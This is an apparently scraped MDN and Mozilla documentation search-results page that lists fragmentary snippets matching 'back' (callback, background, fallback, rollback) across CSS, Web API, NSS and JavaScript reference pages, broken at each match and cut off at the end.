background: transparent; color: inherit; font: inherit; line-height: normal; -webkit-font-smoothing: inherit; -moz-osx-font-smoothing: inherit; -webkit-appearance: none; } button::-moz-focus-inner { border: 0; } button, input, optgroup, select, textarea { font-family: inherit; font-size: 100%; line-height: 1.15; margin: 0; } button, input { overflow: visible; } input[type="text...
..."] { border-radius: 0; } body { width: 100%; max-width: 68rem; margin: 0 auto; font: 1.6rem/1.25 arial, sans-serif;
background-color: #f5f5f5; color: #4d4d4d; } @media screen and (min-width: 620px) { body { font-size: 1.9rem; line-height: 1.31579; } } /*end resets*/ /* global styles */ .form-group > input[type="text"] { display: inline-block; margin-top: 0.4rem; } .btn { padding: 0.8rem 1rem 0.7rem; border: 0.2rem solid #4d4d4d; cursor: pointer; text-transform: capitalize; } .btn.toggle-btn { border-width: 1px; border-color: #d3d3d3; } .btn.toggle-btn[aria-pressed="true"] { text-decoration: underline; border-color: #4d4d4d; } .btn__danger { color: #fff;
background-color: #ca3c3c; border-color: #bd2130; } .btn__filter { border-color: lightgr...
...And 4 more matches
Styling Vue components with CSS - Learn web development
add the following contents to the reset.css file: /*reset.css*/ /* resets */ *, *::before, *::after { box-sizing: border-box; } *:focus { outline: 3px dashed #228bec; } html { font: 62.5% / 1.15 sans-serif; } h1, h2 { margin-bottom: 0; } ul { list-style: none; padding: 0; } button { border: none; margin: 0; padding: 0; width: auto; overflow: visible;
background: transparent; color: inherit; font: inherit; line-height: normal; -webkit-font-smoothing: inherit; -moz-osx-font-smoothing: inherit; -webkit-appearance: none; } button::-moz-focus-inner { border: 0; } button, input, optgroup, select, textarea { font-family: inherit; font-size: 100%; line-height: 1.15; margin: 0; } button, input { /* 1 */ overflow: visible; } input[...
...type="text"] { border-radius: 0; } body { width: 100%; max-width: 68rem; margin: 0 auto; font: 1.6rem/1.25 "helvetica neue", helvetica, arial, sans-serif;
background-color: #f5f5f5; color: #4d4d4d; -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; } @media screen and (min-width: 620px) { body { font-size: 1.9rem; line-height: 1.31579; } } /*end resets*/ next, in your src/main.js file, import the reset.css file like so: import './assets/reset.css'; this will cause the file to get picked up during the build step and automatically added to our site.
... before: after: noticeable changes include the removal of the list bullets,
background color changes, and changes to the base button and input styles.
...And 4 more matches
Introducing a complete toolchain - Learn web development
you should have node.js and npm installed already, but if not, refer
back to that section.
...git is currently the most popular source code revision control tool available to developers — revision control provides many advantages, such as a way to
backup your work in a remote place, and a mechanism to work in a team on the same project without fear of overwriting each other's code.
... finally, it can help you undo changes or revert your code
back to a time "when it was working" if a mistake has been introduced somewhere and you are having trouble fixing it — something all developers need to do once in a while!
...And 4 more matches
Application cache implementation overview
when aentrystatus is a failure code, entry has not been found, but the url is falling under one of the network or fall
back namespaces.
... when matching fall
back namespace, the associated fall
back entry for it is remembered.
...when load of the resource fails fall
back steps are performed (see “falling
back on a resource load failure” chapter).
...And 4 more matches
Limitations of chrome scripts
the chrome process then checks the content against the policy supplied by the add-on, and forwards the response
back to the child to be enforced.
... a common pattern here is to use the notificationcall
backs property of the nsihttpchannel to get the dom window that initiated the load, like this: observe: function (subject, topic, data) { if (topic == "http-on-modify-request") { var httpchannel = subject.queryinterface(ci.nsihttpchannel); var domwindow = httpchannel.notificationcall
backs.getinterface(ci.nsidomwindow); } } or this: observe: function (subject, topic, data) { if (topic ...
...== "http-on-modify-request") { var httpchannel = subject.queryinterface(ci.nsihttpchannel); var domwindow = httpchannel.notificationcall
backs.getinterface(ci.nsiloadcontext).associatedwindow; } } in multiprocess firefox these patterns will no longer work: the getinterface call will fail.
...And 4 more matches
Extending a Protocol
then we will send that same string
back to the child process.
...and we generally want the parent to let a child know when some work is done - and send some confirmation or result data
back to the child.
...we should see ./mach build make significant progress now, but obviously, wihtout a
backing cpp implementation, it's not going to do much.
...And 4 more matches
HTTP delegation
background up to version 3.11, nss connects directly over http to an ocsp responder to make the request and fetch the response.
...instead of improving the simple http client in nss, the nss team has decided to provide an nss api to register application call
back functions.
...in order to use the http delegation feature in your nss-based application, you need to implement several call
back functions.
...And 4 more matches
HTTP delegation
background up to version 3.11, nss connects directly over http to an ocsp responder to make the request and fetch the response.
...instead of improving the simple http client in nss, the nss team has decided to provide an nss api to register application call
back functions.
...in order to use the http delegation feature in your nss-based application, you need to implement several call
back functions.
...And 4 more matches
NSS_3.12_release_notes.html
nss 3.12 release notes 17 june 2008 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12 bugs fixed documentation compatibility feed
back introduction network security services (nss) 3.12 is a minor release with the following new features: sqlite-based shareable certificate and key databases libpkix: an rfc 3280 compliant certificate path validation library camellia cipher support tls session ticket extension (rfc 5077) nss 3.12 is tri-licensed under the mpl 1.1/gpl 2.0/lgpl 2.1.
...bug 402114: fix the incorrect function prototypes of ssl handshake call
backs bug 402308: fix miscellaneous compiler warnings in nss/cmd bug 402777: lib/util can't be built stand-alone.
...bug 287061: crl number should be a big integer, not ulong bug 301213: combine internal libpkix function tests into a single statically linked program bug 324740: add generation of sia and aia extensions to certutil bug 339737: libpkix ocsp checking calls cert_verifycert bug 358785: merge nss_libpkix_branch
back to trunk bug 365966: infinite recursive call in vfy_verifydigestdirect bug 382078: pkix default http client returns error when try to get an ocsp response.
...And 4 more matches
NSS 3.16.2.3 release notes
nss 3.16.2.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_3_rtm/src/ new in nss 3.16.2.3 this patch release fixes a bug and contains a
backport of the tls_fall
back_scsv feature, which was originally made available in nss 3.17.1.
... new functionality tls_fall
back_scsv is a signaling cipher suite value that indicates a handshake is the result of tls version fall
back.
... new macros in ssl.h ssl_enable_fall
back_scsv - an ssl socket option that enables tls_fall
back_scsv.
...And 4 more matches
Notes on TLS - SSL 3.0 Intolerant Servers
technical information the ssl 3.0 and tls (aka ssl 3.1) specs both contain a provision -- the same provision -- for detecting "version roll
back attacks".
...this feature was kind of meaningless until tls (ssl 3.1) came along because there was no version higher than 3.0 from which to be rolled
back.
... tls is now available and used, and products that have implemented the roll-
back detection incorrectly are not interoperable with tls/ssl spec-compliant clients.
...And 4 more matches
JS_AddExternalStringFinalizer
syntax int js_addexternalstringfinalizer(jsstringfinalizeop finalizer); name type description finalizer jsstringfinalizeop pointer to a call
back function, described below.
... call
back syntax typedef void (*jsstringfinalizeop)(jscontext *cx, jsstring *str); name type description cx jscontext * pointer to a jscontext which the finalizer may use for certain very limited operations (not documented).
... since the jsstringfinalizeop call
back is called during garbage collection, it must avoid most jsapi functions.
...And 4 more matches
JS_TracerInit
syntax void js_tracerinit(jstracer *trc, jsruntime *rt, jstracecall
back call
back); name type description trc jstracer * the tracer to be initialized.
... call
back jstracecall
back a call
back, described below, which the tracing apis will call each time a pointer is found from one gc thing to another.
... call
back syntax typedef void (*jstracecall
back)(jstracer *trc, void *thing, uint32 kind); name type description trc jstracer * the tracer visiting obj.
...And 4 more matches
nsIChannel
notificationcall
backs nsiinterfacerequestor the notification call
backs for the channel.
...if this value is null, the channel implementation may use the notification call
backs from its load group.
... the channel may also query the notification call
backs from its load group if its notification call
backs do not supply the requested interface.
...And 4 more matches
nsIJetpack
registerreceiver() this registers a call
back to be triggered whenever the jetpack process sends a particular message.
... note: multiple call
backs may be registered for the same message; they will all be triggered.
... void registerreceiver( in astring amessagename, in jsval areceiver ); parameters amessagename the name of the message from the jetpack process on which the call
back is triggered.
...And 4 more matches
nsIMemoryMultiReporter
xpcom/base/nsimemoryreporter.idlscriptable reports multiple memory measurements using a call
back function that gets called once for each measurement.
...the call
back, which must implement the nsimemorymultireportercall
back interface, receives values that match the fields in the nsimemoryreporter object.
...this will call the specified call
back's nsimemorymultireportercall
back.call
back() method once for each report.
...And 4 more matches
Add to iPhoto
cfarray the cfarray type is used to create arrays of objects; the objects in the array can be of any type, thanks to a set of call
backs you can provide to handle managing their memory and performing operations such as comparisons.
... the most interesting thing we'll look at here is how to reference the system-provided default call
back record, which is exported by core foundation under the name kcftypearraycall
backs.
... in c, the call
back structure, and the predefined call
back record, look like this: typedef const void * (*cfarrayretaincall
back)(cfallocatorref allocator, const void *value); typedef void (*cfarrayreleasecall
back)(cfallocatorref allocator, const void *value); typedef cfstringref (*cfarraycopydescriptioncall
back)(const void *value); typedef boolean (*cfarrayequalcall
back)(const void *value1, const void *value2); typedef struct { cfindex version; cfarrayretaincall
back retain; cfarrayreleasecall
back release; cfarraycopydescriptioncall
back copydescription; cfarrayequalcall
back equal; } cfarraycall
backs; cf_export const cfarraycall
backs kcftypearraycall
backs; the kcftypearraycall
backs constant refers to a predefined call
back structure referencing call
back routines f...
...And 4 more matches
Basic animations - Web APIs
basic animation steps these are the steps you need to take to draw a frame: clear the canvas unless the shapes you'll be drawing fill the complete canvas (for instance a
backdrop image), you need to clear any shapes that have been drawn previously.
... requestanimationframe(call
back) tells the browser that you wish to perform an animation and requests that the browser call a specified function to update an animation before the next repaint.
...the number of call
backs is usually 60 times per second and may be reduced to a lower rate when running in
background tabs.
...And 4 more matches
Using images - Web APIs
these can be used to do dynamic photo compositing or as
backdrops of graphs, for sprites in games, and so forth.
... example: a simple line graph in the following example, we will use an external image as the
backdrop for a small line graph.
... using
backdrops can make your script considerably smaller because we can avoid the need for code to generate the
background.
...And 4 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
example: setting the
background color of a paragraph getelementsbytagname(tagnamevalue) is a method available in any dom element or the root document element.
... html <body> <input type="button" value="set paragraph
background color" onclick="set_
background()"> <p>hi</p> <p>hello</p> </body> javascript function set_
background() { // get a list of all the body elements (there will only be one), // and then select the zeroth (or first) such element mybody = document.getelementsbytagname("body")[0]; // now, get all the p elements that are descendants of the body mybodyelements = mybody.getelementsbytagname("p"); // get the second item of the list of p elements myp = mybodyelements[1]; myp.style.
background = "rgb(255,0,0)"; } in this example, we set the myp varia...
...for example, if you want to set the style
background color property, you just add: myp.style.
background = "rgb(255,0,0)"; // setting inline style attribute creating textnodes with document.createtextnode("..") use the document object to invoke the createtextnode method and create your text node.
...And 4 more matches
EffectTiming.fill - Web APIs
syntax var timingproperties = { fill: "none" | "forwards" | "
backwards" | "both" | "auto" } value a domstring indicating the fill type to use in order to properly render an affected element when outside the animation's active interval (that is, when it's not actively animating).
... "
backwards" the animation's effects should be reflected by the element(s) state prior to playing, in spite of and during any delay and pending playstate.
... "both" combining the effects of both forwards and
backwards: the animation's effects should be reflected by the element(s) state prior to playing and retained after the animation has completed playing, in spite of and during any enddelay, delay and/or pending or finished playstate.
...And 4 more matches
FileSystemDirectoryEntry.removeRecursively() - Web APIs
syntax filesystemdirectoryentry.removerecursively(successcall
back[, errorcall
back]); parameters successcall
back a function to call once the directory removal process has completed.
... the call
back has no parameters.
... errorcall
back optional a function to be called if an error occurs while attempting to remove the directory subtree.
...And 4 more matches
FileSystemFileEntry.file() - Web APIs
syntax filesystemfileentry.file(successcall
back[, errorcall
back]); parameters successcall
back a call
back function which is called when the file has been created successfully; the file is passed into the call
back as the only parameter.
... errorcall
back optional if provided, this must be a method which is called when an error occurs while trying to create the file.
... this call
back receives as input a fileerror object describing the error.
...And 4 more matches
Drag Operations - Web APIs
within the dragstart event, you can specify the drag data, the feed
back image, and the drag effects, all of which are described below.
...this allows data to be provided in more specific types, often custom types, yet still provide fall
back data for drop targets that do not support more specific types.
... setting the drag feed
back image when a drag occurs, a translucent image is generated from the drag target (the element the "dragstart" event is fired at), and follows the user's pointer during the drag.
...And 4 more matches
IdleDeadline - Web APIs
the idledeadline interface is used as the data type of the input parameter to idle call
backs established by calling window.requestidlecall
back().
... it offers a method, timeremaining(), which lets you determine how much longer the user agent estimates it will remain idle and a property, didtimeout, which lets you determine if your call
back is executing because its timeout duration expired.
... to learn more about how request call
backs work, see collaborative scheduling of
background tasks.
...And 4 more matches
LockManager.request() - Web APIs
the requested lock is passed to a call
back, while the function itself returns a promise that resolves with undefined.
... syntax lockmanager.request(var promise = name[, {options}], call
back) parameters name an identifier for the lock you want to request.
...if it cannot be granted, the call
back will be invoked with null instead of a lock instance.
...And 4 more matches
MediaPositionState.position - Web APIs
the mediapositionstate dictionary's position property is used when calling the mediasession method setpositionstate() to provide the user agent with the current play
back position, in seconds, of the currently-playing media.
... this information is then, in turn, used by the user agent to provide a user interface which displays media play
back information to the viewer.
... for example, a browser might use this information along with the position property and the navigator.mediasession.play
backstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls.
...And 4 more matches
MediaSession.setPositionState() - Web APIs
the mediasession method setpositionstate() is used to update the current document's media play
back position and speed for presentation by user's device in any kind of interface that provides details about ongoing media.
... syntax navigator.mediasession.setpositionstate(statedict); parameters statedict optional an object conforming to the mediapositionstate dictionary, providing updated information about the play
back position and speed of the document's ongoing media.
... if the object is empty, the existing play
back state information is cleared.
...And 4 more matches
RTCPeerConnection.setRemoteDescription() - Web APIs
for example, if the type is roll
back and the signaling state is one of stable, have-local-pranswer, or have-remote-pranswer, this exception is thrown, because you can't roll
back a connection that's either fully established or is in the final stage of becoming connected.
... on the other hand, if we're in the middle of an ongoing negotiation and an offer is passed into setremotedescription(), the ice agent automatically begins an ice roll
back in order to return the connection to a stable signaling state, then, once the roll
back is completed, sets the remote description to the specified offer.
... deprecated syntax in older code and documentation, you may see a call
back-based version of this function used.
...And 4 more matches
WebGLRenderingContext.getParameter() - Web APIs
pressed_srgb8_alpha8_astc_10x6_khr ext.compressed_rgba_astc_10x10_khr ext.compressed_srgb8_alpha8_astc_10x10_khr ext.compressed_rgba_astc_12x10_khr ext.compressed_srgb8_alpha8_astc_12x10_khr ext.compressed_rgba_astc_12x12_khr ext.compressed_srgb8_alpha8_astc_12x12_khr gl.cull_face glboolean gl.cull_face_mode glenum gl.front, gl.
back or gl.front_and_
back.
... gl.renderer domstring gl.sample_buffers glint gl.sample_coverage_invert glboolean gl.sample_coverage_value glfloat gl.samples glint gl.scissor_box int32array (with 4 elements) gl.scissor_test glboolean gl.shading_language_version domstring gl.stencil_
back_fail glenum gl.stencil_
back_func glenum gl.stencil_
back_pass_depth_fail glenum gl.stencil_
back_pass_depth_pass glenum gl.stencil_
back_ref glint gl.stencil_
back_value_mask gluint gl.stencil_
back_writemask gluint gl.stencil_bits glint gl.stencil_clear_value glint ...
... gl.draw_bufferi glenum gl.
back, gl.none or gl.color_attachment{0-15}.
...And 4 more matches
WebGL constants - Web APIs
should return front,
back, or front_and_
back front_face 0x0b46 passed to getparameter to determine the current value of frontface.
... stencil_value_mask 0x0b93 stencil_writemask 0x0b98 stencil_
back_func 0x8800 stencil_
back_fail 0x8801 stencil_
back_pass_depth_fail 0x8802 stencil_
back_pass_depth_pass 0x8803 stencil_
back_ref 0x8ca3 stencil_
back_value_mask 0x8ca4 stencil_
back_writemask 0x8ca5 viewport 0x0ba2 returns an int32array with four elements for the current viewpor...
... constant name value description current_vertex_attrib 0x8626 passed to getvertexattrib to read
back the current vertex attribute.
...And 4 more matches
WebRTC connectivity - Web APIs
they will then send this
back to peer a along the signal channel.
... ice roll
backs when renegotiating a connection that's already active and a situation arises in which the negotiation fails, you don't really want to kill the already-running call.
... instead, you can initiate an ice roll
back.
...And 4 more matches
Signaling and video calling - Web APIs
all you have to do is channel the information
back and forth.
...our clients can now send messages of unknown types to any specific user, letting them send signaling messages
back and forth as desired.
...our role is to simply send the candidates,
back and forth, through the signaling server.
...And 4 more matches
Fundamentals of WebXR - Web APIs
for more details about this, see the optics of 3d in rendering and the webxr frame animation call
back.
... freedom of translational movement the other three degrees of freedom are translational, providing the ability to sense movement through space: forward and
backward, left and right, up and down.
... virtual reality in a vr environment, the entire image is digitally created by your app or site, from foreground objects all the way to the
background or skybox.
...And 4 more matches
Web Animations API Concepts - Web APIs
this means we can use it to create and manipulate css-like animations that go from one pre-defined state to another, or we can use variables, loops, and call
backs to create interactive animations that adapt and react to changing inputs.
...
back then it was the only animation engine browsers had to worry about.
...now we’ve got the waapi for future animation specifications to piggy
back on, allowing them to to remain consistent and play well together.
...And 4 more matches
Using IIR filters - Web APIs
with the iirfilter node it's up to you to set what feedforward and feed
back values the filter needs — this determines the characteristics of the filter.
... if you want to play with the iir filter node and need some values to help along the way, there's a table of already calculated values here; on pages 4 & 5 of the linked pdf the an values refer to the feedforward values and the bn values refer to the feed
back.
... setting our iirfilter co-efficients when creating an iir filter, we pass in the feedforward and feed
back coefficients as options (coefficients is how we describe the values).
...And 4 more matches
CSS Animations tips and tricks - CSS: Cascading Style Sheets
.runbutton { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 12px; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } @keyframes colorchange { 0% {
background: yellow } 100% {
background: blue } } .box { width: 100px; height: 100px; border: 1px solid black; } .changing { animation: colorchange 2s; } there are two classes here.
...that's because the only way to play an animation again is to remove the animation effect, let the document recompute styles so that it knows you've done that, then add the animation effect
back to the element.
... to be sure that the styles are recalculated, we use window.requestanimationframe(), specifying a call
back.
...And 4 more matches
Layout using named grid lines - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } when defining the grid, i name my lines inside square brackets.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } i’m using the same grid definitions as above, however this time i am going to place a single item into the named area content.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(9, 1fr); grid-auto-rows: minmax(100px, auto); grid-template-areas: "hd hd hd hd hd hd hd hd hd" "sd sd sd main main main main main main" "ft ft ft ft ...
...And 4 more matches
Mozilla CSS extensions - CSS: Cascading Style Sheets
-moz-orient -moz-osx-font-smoothing -moz-outline-radius -moz-outline-radius-bottomleft -moz-outline-radius-bottomright -moz-outline-radius-topleft -moz-outline-radius-topright overflow-clip-box overflow-clip-box-block overflow-clip-box-inline s–z -moz-stack-sizing :-moz-system-metric(images-in-menus) :-moz-system-metric(mac-graphite-theme) :-moz-system-metric(scrollbar-end-
backward) :-moz-system-metric(scrollbar-end-forward) :-moz-system-metric(scrollbar-start-
backward) :-moz-system-metric(scrollbar-start-forward) :-moz-system-metric(scrollbar-thumb-proportional) :-moz-system-metric(touch-enabled) :-moz-system-metric(windows-default-theme) -moz-user-focus -moz-user-input -moz-user-modify -moz-window-dragging -moz-window-shadow formerly propri...
...ion-duration [prefixed version still accepted] -moz-animation-fill-mode [prefixed version still accepted] -moz-animation-iteration-count [prefixed version still accepted] -moz-animation-name [prefixed version still accepted] -moz-animation-play-state [prefixed version still accepted] -moz-animation-timing-function [prefixed version still accepted] -moz-appearance b -moz-
backface-visibility [prefixed version still accepted] -moz-
background-clipobsolete since gecko 2 -moz-
background-originobsolete since gecko 2 -moz-
background-inline-policyobsolete since gecko 32 [superseded by the standard version box-decoration-break] -moz-
background-sizeobsolete since gecko 2 -moz-border-end [superseded by the standard version border-inline-end] -moz-border-end-color [su...
...thumb-horizontal scalethumb-vertical scale-vertical scrollbarbutton-down scrollbarbutton-left scrollbarbutton-right scrollbarbutton-up scrollbar-small scrollbarthumb-horizontal scrollbarthumb-vertical scrollbartrack-horizontal scrollbartrack-vertical separator spinner spinner-downbutton spinner-textfield spinner-upbutton statusbar statusbarpanel tab tabpanels tab-scroll-arrow-
back tab-scroll-arrow-forward textfield textfield-multiline toolbar toolbarbutton-dropdown toolbox tooltip treeheadercell treeheadersortarrow treeitem treetwisty treetwistyopen treeview window
background-image gradients -moz-linear-gradient -moz-radial-gradient elements -moz-element sub-images -moz-image-rect() border-color ...
...And 4 more matches
all - CSS: Cascading Style Sheets
user origin rolls
back the cascade to the user-agent level, so that the specified values are calculated as if no author-level or user-level rules were specified for the element.
... author origin rolls
back the cascade to the user level, so that the specified values are calculated as if no author-level rules were specified for the element.
... css body { font-size: small;
background-color: #f0f0f0; color: blue; } blockquote {
background-color: skyblue; color: red; } result no all property <blockquote id="quote">lorem ipsum dolor sit amet, consectetur adipiscing elit.</blockquote> phasellus eget velit sagittis.
...And 4 more matches
animation - CSS: Cascading Style Sheets
<button class="pause" title="pause"></button> </div> <div class="cell flx"> <div class="overlay">animation: 3s slidein;</div> <div class="animation a3"></div> </div> </div> </div> </div> html,body { height: 100%; box-sizing: border-box; } pre { margin-bottom: 0; } svg { width: 1.5em; height: 1.5em; } button { width: 27px; height: 27px;
background-size: 16px;
background-position: center;
background-repeat: no-repeat; border-radius: 3px; cursor: pointer; } button.play {
background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%2...
...3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#play'); } button.pause {
background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%2...
...0l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#pause'); } button.restart {
background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8...
...And 4 more matches
cursor - CSS: Cascading Style Sheets
syntax /* keyword value */ cursor: pointer; cursor: auto; /* url, with a keyword fall
back */ cursor: url(hand.cur), pointer; /* url and coordinates, with a keyword fall
back */ cursor: url(cursor1.png) 4 12, auto; cursor: url(cursor2.png) 2 2, pointer; /* global values */ cursor: inherit; cursor: initial; cursor: unset; the cursor property is specified as zero or more <url> values, separated by commas, followed by a single mandatory keyword value.
...the browser will try to load the first image specified, falling
back to the next if it can't, and falling
back to the keyword value if no images could be loaded (or if none were specified).
... for example, this specifies two images using <url> values, providing <x><y> coordinates for the second one, and falling
back to the progress keyword value if neither image can be loaded: cursor: url(one.svg), url(two.svg) 5 5, progress; values <url> a url(…) or a comma separated list url(…), url(…), …, pointing to an image file.
...And 4 more matches
repeating-conic-gradient() - CSS: Cascading Style Sheets
syntax /* starburst: a a blue on blue starburst: the gradient is a starburst of lighter and darker blue, centered in the upper left quandrant, offset by 3degrees so there is no up/down straight line */
background: repeating-conic-gradient( from 3deg at 25% 25%, hsl(200, 100%, 50%) 0deg 15deg, hsl(200, 100%, 60%) 10deg 30deg); ); values <angle> preceded by the from keyterm, and taking an angle as its value, defines the gradient rotation in clockwise direction.
... <position> using the same length, order and keyterm values as the
background-position property, the position defines center of the gradient.
...for this reason, repeating-conic-gradient() won't work on
background-color and other properties that use the <color> data type.
...And 4 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
even though the datetime-local input doesn't use it, the text input fall
back will.
... the html looks like so: <form> <div class="nativedatetimepicker"> <label for="party">choose a date and time for your party:</label> <input type="datetime-local" id="party" name="bday"> <span class="validity"></span> </div> <p class="fall
backlabel">choose a date and time for your party:</p> <div class="fall
backdatetimepicker"> <div> <span> <label for="day">day:</label> <select id="day" name="day"> </select> </span> <span> <label for="month">month:</label> <select id="month" name="month"> <option selected>january</option> <option>february</option> ...
...browsers that don't support datetime-local return text, since that's what datetime-local falls
back to.
...And 4 more matches
<input type="month"> - HTML: Hypertext Markup Language
even though the month input doesn't use it, if the browser falls
back to treating it like a text input, the pattern will be used.
... html the form that requests the month and year looks like this: <form> <div class="nativedatepicker"> <label for="month-visit">what month would you like to visit us?</label> <input type="month" id="month-visit" name="month-visit"> <span class="validity"></span> </div> <p class="fall
backlabel">what month would you like to visit us?</p> <div class="fall
backdatepicker"> <div> <span> <label for="month">month:</label> <select id="month" name="month"> <option selected>january</option> <option>february</option> <option>march</option> <option>april</option> <option>may</option> <option>june</option> ...
...tober</option> <option>november</option> <option>december</option> </select> </span> <span> <label for="year">year:</label> <select id="year" name="year"> </select> </span> </div> </div> </form> the <div> with the id nativedatepicker uses the month input type to request the month and year, while the <div> with the id fall
backdatepicker instead uses a pair of <select> elements.
...And 4 more matches
<input type="time"> - HTML: Hypertext Markup Language
as a valid input readonly a boolean attribute which, if present, indicates that the contents of the time input should not be user-editable step the stepping interval to use both for user interfaces purposes and during constraint validation unlike many data types, time values have a periodic domain, meaning that the values reach the highest possible value, then wrap
back around to the beginning again.
...even though the time input doesn't use it, the text input fall
back will.
... the html looks like so: <form> <div class="nativetimepicker"> <label for="appt-time">choose an appointment time (opening hours 12:00 to 18:00): </label> <input id="appt-time" type="time" name="appt-time" min="12:00" max="18:00" required> <span class="validity"></span> </div> <p class="fall
backlabel">choose an appointment time (opening hours 12:00 to 18:00):</p> <div class="fall
backtimepicker"> <div> <span> <label for="hour">hour:</label> <select id="hour" name="hour"> </select> </span> <span> <label for="minute">minute:</label> <select id="minute" name="minute"> </select> </span> </div> </div> </form> ...
...And 4 more matches
HTML documentation index - HTML: Hypertext Markup Language
69 <bgsound>: the
background sound element (obsolete) audio,
background sound, element, html, internet explorer, non-standard, obsolete, reference, web the internet explorer only html
background sound element (<bgsound>) sets up a sound file to play in the
background while the page is used; use <audio> instead.
... 165 <noembed>: the embed fall
back element (obsolete) element, embedded content, embedding, html, non-standard, obsolete, reference, noembed the <noembed> element is an obsolete, non-standard way to provide alternative, or "fall
back", content for browsers that do not support the <embed> element or do not support the type of embedded content an author wishes to use.
... 166 <noframes>: the frame fall
back element element, frames, html, html frames, obsolete, reference, web, noframes the obsolete html no frames or frame fall
back element, <noframes>, provides content to be presented in browsers that don't support (or have disabled support for) the <frame> element.
...And 4 more matches
Browser detection using the user agent - HTTP
if it's not, you use a fall
back.
... var camelcaseexpression = new regexp("(?<=[a-z])"); var splitupstring = function(str) { return (""+str).split(camelcaseexpression); }; } else { /*this fall
back code is much less performant, but works*/ var splitupstring = function(str){ return str.replace(/[a-z]/g,"z$1").split(/z(?=[a-z])/g); }; } console.log(splitupstring("foobare")); // ["foob", "are"] console.log(splitupstring("jqwhy")); // ["jq", "w", "hy"] the above code would have made several incorrect assumptions: it assumed that all user agent strings that include the sub...
...then, default
back to checking the user agent screen only if (!("maxtouchpoints" in navigator)) { /*code here*/}.
...And 4 more matches
HTTP Public Key Pinning (HPKP) - HTTP
note: the current specification requires including a second pin for a
backup key which isn't yet used in production.
...the second pin declaration pin-sha256="m8hztczm3eluxkcjr2s5p4hhybnf6lhkmjahkhpgpwe=" also pins the
backup key.
...the use of
backup certificates and/or pinning the ca certificate is recommended.
...And 4 more matches
Grammar and types - JavaScript
template literals are enclosed by the
back-tick (`) (grave accent) character instead of double or single quotes.
... table: javascript special characters character meaning \0 null byte \b
backspace \f form feed \n new line \r carriage return \t tab \v vertical tab \' apostrophe or single quote \" double quote \\
backslash character \xxx the character with the latin-1 encoding specified by up to three octal digits xxx between 0 and 377.
... escaping characters for characters not listed in the table, a preceding
backslash is ignored, but this usage is deprecated and should be avoided.
...And 4 more matches
Map.prototype.forEach() - JavaScript
syntax mymap.foreach(call
back([value][,key][,map])[, thisarg]) parameters call
back function to execute for each entry of mymap.
... thisarg optional value to use as this when executing call
back.
... description the foreach method executes the provided call
back once for each key of the map which actually exist.
...And 4 more matches
TypedArray.prototype.some() - JavaScript
syntax typedarray.some(call
back[, thisarg]) parameters call
